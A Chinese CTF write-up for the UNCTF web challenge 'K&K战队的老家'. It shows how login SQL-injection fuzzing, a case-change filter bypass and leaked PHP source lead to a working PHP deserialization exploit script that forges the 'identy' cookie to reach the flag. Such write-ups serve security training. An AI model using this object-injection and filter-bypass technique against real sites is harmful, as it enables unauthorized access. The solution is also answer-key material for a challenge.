UNCTF:K&K战队的老家(反序列化|cookie注入)
打开页面,发现只有一个登录框,我们进行注入,使用burpsuite的fuzzing获取登陆的payload
使用页面登录,发现只有一个页面可以打开,打开后提示身份信息有问题
这时候发现了一个参数m,fuzz后发现过滤了php|base64,我们换成大写绕过获取页面源码
将输出的字符串base64解码一下,拿到home的源码:
<?php error_reporting(0); include "./inc/config.php"; $mothed = $_GET["m"] ? $_GET["m"] : "index"; $cookie = $_COOKIE["identy"]; if($mothed == "login") { $username = $_POST["user"]; $userpass = $_POST["pw"]; if($username == "" || $userpass == "") { die('<script>alert("Account or password cannot be empty");window.location.href="./index.php";</script>'); } waf($username); waf($userpass); $db->user_check($username, $userpass, $session); } elseif($mothed == "index") { check($cookie, $db, $session); echo_index(); } elseif($mothed == "logout") { check($cookie, $db, $session); setcookie("identy",""); die('<script>alert("Goodbye");window.location.href="./index.php";</script>'); } else { mothed_waf($mothed); $page = $mothed . ".php"; include($page); check($cookie, $db, $session); $d = new debug($session, $d); $d->vt($session, $d); $d->debug($session); } ?>
继续获config.php和其他页面的源代码
//config.php <?php error_reporting(0); include "session.php"; //include "access.php"; include "func.php"; include "db.php"; $db = new db(); $session = new session(); ?> //session.php <?php error_reporting(0); class session{ public $choose = 1; public $id = 0; public $username = ""; } ?> //func.php <?php error_reporting(0); function waf($str) { //过滤,包含大小写 if(preg_match('/(and|or|if|select|union|sleep|order|group|by|exp|user|from|where|tables|substr|database|join|greatest|like|not|hex|bin|ascii|md5|benchmark|concat|mid|strcmp|left|right|replace|when|\/|=|>|<|\*|\(|\)|~|%|!|&&|,|"|;|#|\^|-)/i', $str) == 1) { die('<script>alert("Illegal");window.location.href="./index.php";</script>'); } } function mothed_waf($str) { //过滤,可转换大小写绕过 if(preg_match('/(base64|php|write)/', $str) == 1) { die('<script>alert("Illegal");window.location.href="./home.php?m=index";</script>'); } //过滤,包含大小写 if(preg_match('/(flag|access)/i', $str) == 1) { die('<script>alert("Illegal");window.location.href="./home.php?m=index";</script>'); } } function cookie_decode($str) { $data = urldecode($str); $data = substr($data, 1); $arr = explode('&', $data); $cipher = ''; foreach($arr as $value) { $num = hexdec($value); $num = $num - 240; $cipher = $cipher.'%'.dechex($num); } $key = urldecode($cipher); $key = base64_decode($key); return $key; } function cookie_encode($str) { $key = base64_encode($str); //base64编码 $key = bin2hex($key); //字符串转16进制 $arr = str_split($key, 2); //分割字符串,每个数组长度为2 $cipher = ''; foreach($arr as $value) { $num = hexdec($value);//十六进制转换为十进制 $num = $num + 240; //将数组转换为10进制后再加上240 $cipher = $cipher.'&'.dechex($num);//十进制转换为十六进制,在进行字符串拼接 } return $cipher; } function check($str, $db, &$session) {//$_COOKIE["identy"],db,session if($str == "") { die('<script>alert("Please login again");window.location.href="./index.php";</script>'); } $objstr = cookie_decode($str);//coodie解码 try { $session = unserialize($objstr); //反序列化cookie ,存在反序列化漏洞 $session->id = intval($session->id); waf($session->username); } catch(Exception $e) { die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>'); } $db->index_check($session->id, $session->username); } function check1($obj) { if($obj->username !== "debuger") { setcookie("identy", ""); die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>'); } } function echo_index() { echo base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KICAgIAogICAgPHRpdGxlPmhvbWU8L3RpdGxlPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPG1ldGEgbmFtZT0iYXBwbGUtbW9iaWxlLXdlYi1hcHAtc3RhdHVzLWJhci1zdHlsZSIgY29udGVudD0iYmxhY2siPgogICAgPG1ldGEgbmFtZT0iYXBwbGUtbW9iaWxlLXdlYi1hcHAtY2FwYWJsZSIgY29udGVudD0ieWVzIj4KICAgIDxtZXRhIG5hbWU9ImZvcm1hdC1kZXRlY3Rpb24iIGNvbnRlbnQ9InRlbGVwaG9uZT1ubyI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii4vaG9tZV9maWxlcy9sYXl1aS5jc3MiIG1lZGlhPSJhbGwiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIuL2hvbWVfZmlsZXMvZ2xvYmFsLmNzcyIgbWVkaWE9ImFsbCI+CjxsaW5rIHJlbD0icHJlbG9hZCIgaHJlZj0iLi9ob21lX2ZpbGVzL2YoMSkudHh0IiBhcz0ic2NyaXB0Ij48bGluayByZWw9InByZWxvYWQiIGhyZWY9Ii4vaG9tZV9maWxlcy9mLnR4dCIgYXM9InNjcmlwdCI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLi9ob21lX2ZpbGVzL2YudHh0Ij48L3NjcmlwdD48L2hlYWQ+Cgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxheXVpLWxheW91dCBsYXl1aS1sYXlvdXQtYWRtaW4iPgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLWhlYWRlciBoZWFkZXIgaGVhZGVyLWRlbW8iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYXl1aS1tYWluIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJsb2dvIiBocmVmPSIuL2hvbWUucGhwP209aW5kZXgiPgogICAgICA8aW1nIHNyYz0iLi9ob21lX2ZpbGVzL2xvZ28ucG5nIj4KICAgIDwvYT4KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLWhpZGUteHMiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIuL2hvbWUucGhwP209bG9nb3V0Ij7pgIDlh7rnmbvlvZU8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYXl1aS1uYXYtYmFyIiBzdHlsZT0ibGVmdDogNThweDsgdG9wOiA1NXB4OyB3aWR0aDogMHB4OyBvcGFjaXR5OiAwOyI+PC9zcGFuPjwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLXNpZGUgbGF5dWktYmctYmxhY2siPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYXl1aS1zaWRlLXNjcm9sbCI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImxheXVpLW5hdiBsYXl1aS1uYXYtdHJlZSBzaXRlLWRlbW8tbmF2IiBsYXktZmlsdGVyPSJkZW1vIj4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLW5hdi1pdGVtZWQiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iamF2YXNjcmlwdDo7IiBocmVmPSJqYXZhc2NyaXB0OjsiPui1m+ajjeenmOexjTxzcGFuIGNsYXNzPSJsYXl1aS1uYXYtbW9yZSI+PC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRsIGNsYXNzPSJsYXl1aS1uYXYtY2hpbGQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii4vaG9tZS5waHA/bT1pbmRleCI+5biI5YKF5Lus55qE5paH56ugPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIuL2hvbWUucGhwP209aW5kZXgiPkNURueahOiHquaIkeS/ruWFuzwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLi9ob21lLnBocD9tPWRlYnVnIj7kv7HkuZDpg6jov5Dnu7TmiYvlhow8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L2RsPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxheXVpLW5hdi1iYXIiIHN0eWxlPSJ0b3A6IDUxNy41cHg7IGhlaWdodDogMHB4OyBvcGFjaXR5OiAwOyI+PC9zcGFuPjwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLWJvZHkgc2l0ZS1kZW1vIj4KICAgICAgICAgIDxpbWcgc3JjPSIuL2hvbWVfZmlsZXMv6KeG5Zu+LnBuZyI+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ibGF5dWktZm9vdGVyIGZvb3RlciBmb290ZXItZGVtbyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLW1haW4iPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8c2NyaXB0IHNyYz0iLi9ob21lX2ZpbGVzL2YoMSkudHh0Ij48L3NjcmlwdD48c2NyaXB0IGFzeW5jPSIiIHNyYz0iLi9ob21lX2ZpbGVzL2Fkc2J5Z29vZ2xlLmpzIj48L3NjcmlwdD4KICAgICAgICA8ZGl2IGNsYXNzPSJzaXRlLXRyZWUtbW9iaWxlIGxheXVpLWhpZGUiPgogICAgICAgICAgICA8aSBjbGFzcz0ibGF5dWktaWNvbiI+7piCPC9pPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InNpdGUtbW9iaWxlLXNoYWRlIj48L2Rpdj4KICAgICAgICA8c2NyaXB0IHNyYz0iLi9ob21lX2ZpbGVzL2xheXVpLmpzIiBjaGFyc2V0PSJ1dGYtOCI+PC9zY3JpcHQ+CiAgICAgICAgPHNjcmlwdD4KICAgICAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBsYXl1aS5lbGVtZW50OwoKICAgICAgICAgICAgZWxlbWVudC5vbignbmF2KGRlbW8pJywgZnVuY3Rpb24oZWxlbSkgewogICAgICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICAgICAgd2luZG93Lmdsb2JhbCA9IHsKICAgICAgICAgICAgcGFnZVR5cGU6ICdkZW1vJywKICAgICAgICAgICAgcHJldmlldzogZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICB2YXIgcHJldmlldyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdMQVlfcHJldmlldycpOwogICAgICAgICAgICAgICAgcmV0dXJuIHByZXZpZXcgPyBwcmV2aWV3LmlubmVySFRNTCA6ICcnOwogICAgICAgICAgICB9CiAgICAgICAgfTsKICAgICAgICA8L3NjcmlwdD4KICAgIDwvZGl2PgoKCgo8L2JvZHk+PC9odG1sPg=="); } ?> //db.php <?php error_reporting(0); class db{ public function init() { $con = mysql_connect("localhost:3306","dog","123456"); if(!$con) { die("Connect failed: " . mysql_error()); } return $con; } public function user_check($u, $p, $obj) {//设置cookie的方法 $sql = "SELECT id,username FROM users WHERE username = '$u' and password = '$p'"; $con = $this->init(); mysql_select_db("unctf", $con); $result = mysql_query($sql,$con); $row = mysql_fetch_array($result); if(count($row) >= 4) { $obj->id = intval($row['id']); //1.session的id赋值。 intval()函数默认转成10进制 $obj->username = $row['username'];//2.session的username赋值 $serstr = serialize($obj); // 3.序列化session对象 } $serstr = cookie_encode($serstr); setcookie('identy', $serstr); echo('<script>alert("Login Success");window.location.href="./home.php?m=index";</script>'); } else { die('<script>alert("Login Fail");window.location.href="./index.php";</script>'); } } public function index_check($i, $u) { $sql = "SELECT id,username FROM users WHERE username = '$u' and id = $i"; $con = $this->init(); mysql_select_db("unctf", $con); $result = mysql_query($sql,$con); $row = mysql_fetch_array($result); if(count($row) < 4) { setcookie("identy", ""); die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>'); } } } ?> //access.php.bak <?php error_reporting(0); $hack_token = '3ecReK&key'; try { $d = unserialize($this->funny); } catch(Exception $e) { echo ''; } ?> //debug.php <?php error_reporting(0); class debug{ public $choose = 0; public $forbidden = "Good Luck :|"; public $access_token = ""; public $ob = NULL; public function __construct($obj, &$d) {//$session, $d $this->vt($obj, $d); if($this->ob->username !== "debuger") { setcookie("identy", ""); die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>'); } } public function vt($obj, &$d) { //$session, $d if($this->ob != $obj) { $this->ob = $obj; //ojb=session } if(!($obj instanceof session)) {//判断obj是不是session的实例 $d = $obj; //token=session } } public function __toString() {//当一个对象被当作字符串对待的时候,会触发这个魔术方法 if($this->access_token === "") {//这里注意反序列化后access_token要为“”,否则不会包含flag.php文件 include("flag.php"); } } public function debug($obj, &$d) { $this->vt($obj, $d); check1($this->ob); //检查username是否为debuger,这里要相等 if($this->choose === 0) { $this->choose = $this->ob->choose; //ob=session,session要传入choose=2,但是要不能进入下面的die()函数,使用字符串 "2" 绕过 } if($this->choose !== 1) { if($this->choose === 2) { die('<script>alert("This is a forbidden option");window.location.href="./home.php?m=debug";</script>'); } } switch($this->choose)//switch非严格匹配,自动转换类型 { case 1: echo "You like hsy :("; break; case 2: echo $this->forbidden;//这里触发__toString()方法,构造forbidden为debug类的对象,echo即可触发 break; default: echo "Good debuger :)"; } } public function __destruct() { echo ''; } } ?>
(这里的access.php.bak是审计代码后fuzz发现的文件)
审计代码后编写php脚本构造cookie(funny参数是前面fuzz获取到的一个参数,需要构造传入一个access_token 才能得到flag文件)
<?php class debug{ public $forbidden = ""; public $access_token = ""; public $ob = NULL; public $choose = "2"; public $id = 2; public $username = "debuger"; public $funny='O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}'; public function __construct() { $this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}'); } } function cookie_encode($str) { $key = base64_encode($str); //base64编码 $key = bin2hex($key); //字符串转16进制 $arr = str_split($key, 2); //分割字符串,每个数组长度为2 $cipher = ''; foreach($arr as $value) { $num = hexdec($value);//十六进制转换为十进制 $num = $num + 240; //将数组转换为10进制后再加上240 $cipher = $cipher.'&'.dechex($num);//十进制转换为十六进制,在进行字符串拼接 } return $cipher; } $a=new debug(); $serstr = serialize($a); $serstr = cookie_encode($serstr); echo $serstr; ?>
注意这里$funny要传入access_token,而$forbidden 的access_token要为空,不然不会包含flag.php文件
将脚本获取的cookie使用url编码,用BurpSuite抓包更改Cookie的identy: